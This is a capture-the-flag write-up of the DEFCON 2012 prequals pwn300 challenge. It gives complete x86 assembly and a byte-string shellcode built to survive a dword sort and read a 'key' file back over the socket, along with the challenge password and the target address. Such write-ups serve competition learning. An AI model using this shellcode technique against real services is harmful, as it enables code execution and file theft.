-
DEFCON2K12 Prequals: pwn300 writeup
Written by Samuel Chevet
June 04, 2012 at 03:22This challenge was not an exploitation challenge but rather shellcode writing with some constraints.
First the remote service wants to receive a password: "3c56bc31268ac65f". After that it will read from the socket fd 1024 bytes into a buffer on the stack. This buffer will be sorted as an array of dwords, this job is done by the function at 0x08048A00. Finally the service will call our buffer (exec-stack enabled), so the idea is to send a simple shellcode that will do the following c code after being sorted:
1 2 3
open("key", O_RDONLY); read(fd, stack_ptr, 0xFF); write(socket_fd_client, stack_ptr, 0xFF);
We know that
socket_fdwill always be 4, and we will have to reverse some locations on the stack to store bytes read from the key file. So, we started by working on a simple shellcode which does this stuff, and we modified it to be able to be sorted without breaking the code flow.We managed to do it by putting padding with useless x86 instruction that didn't affect the flow of the shellcode (like inserting some NOPs; and register register; add value to unused register; ...)
We used radare (rasm2) and looked at the ref.x86asm.net website since there are multiple ways to represent the same instruction:
1 2 3 4 5 6 7 8 9 10
> rasm2 -d "0ac0" or al, al > as --32 test.S -o test.o ; objdump -d ./test.o ./test.o: file format elf32-i386 Disassembly of section .text: 00000000 <.text>: 0: 08 c0 or %al,%alAfter mixing all of these stuff, here is the final result:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94
# open push %esp pop %ecx add $0x01, %al pusha nop add $0x1, %al pusha nop add $0x1, %al pusha nop add $0x1, %al nop nop push $0x079656b03 add $0x3, %al pop %ebx nop add $0x5, %al nop nop add $0x5, %al shr $4, %ebx nop shr $4, %ebx push %ebx add $0xCC, %al or %al, %al mov %esp, %edx or %al, %al xor %eax,%eax or %eax, %eax push %eax stc or %eax, %eax push %edx stc or %eax, %eax mov $0xf, %al .byte 0xa # or al, al .byte 0xc0 push %eax .byte 0x34 .byte 0xa int $0x80 # read .byte 0x34 .byte 0xb nop nop .byte 0x34 .byte 0xb mov %eax, %edx .byte 0x34 .byte 0xb xor %eax,%eax .byte 0x24 .byte 0x0c movb $0xfd, %al push %eax push %ecx nop nop nop push %edx nop nop nop .byte 0x87 .byte 0xf7 mov $0x3, %al nop push %eax int $0x80 nop # write xor %eax,%eax movb $0x90, %al push %eax push %ecx .byte 0xb2 .byte 0x90 push $0x4 .byte 0xA8 .byte 0x91 mov $0x4, %al push %eax int $0x80 .byte 0xfd .byte 0xfd .byte 0xfd
And by using a script to extract the compiled shellcode, we can see that it is correctly sorted and test that it works properly:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
shellcode = \ "\x54\x59\x04\x01" + \ "\x60\x90\x04\x01" + \ "\x60\x90\x04\x01" + \ "\x60\x90\x04\x01" + \ "\x90\x90\x68\x03" + \ "\x6b\x65\x79\x04" + \ "\x03\x5b\x90\x04" + \ "\x05\x90\x90\x04" + \ "\x05\xc1\xeb\x04" + \ "\x90\xc1\xeb\x04" + \ "\x53\x04\xcc\x08" + \ "\xc0\x89\xe2\x08" + \ "\xc0\x31\xc0\x09" + \ "\xc0\x50\xf9\x09" + \ "\xc0\x52\xf9\x09" + \ "\xc0\xb0\x0f\x0a" + \ "\xc0\x50\x34\x0a" + \ "\xcd\x80\x34\x0b" + \ "\x90\x90\x34\x0b" + \ "\x89\xc2\x34\x0b" + \ "\x31\xc0\x24\x0c" + \ "\xb0\xfd\x50\x51" + \ "\x90\x90\x90\x52" + \ "\x90\x90\x90\x87" + \ "\xf7\xb0\x03\x90" + \ "\x50\xcd\x80\x90" + \ "\x31\xc0\xb0\x90" + \ "\x50\x51\xb2\x90" + \ "\x6a\x04\xa8\x91" + \ "\xb0\x04\x50\xcd" + \ "\x80\xfd\xfd\xfd
We send it on port 7548 at address 140.197.217.155 and we received the key as expected.
Tweetblog comments powered by DisqusPermalink & comments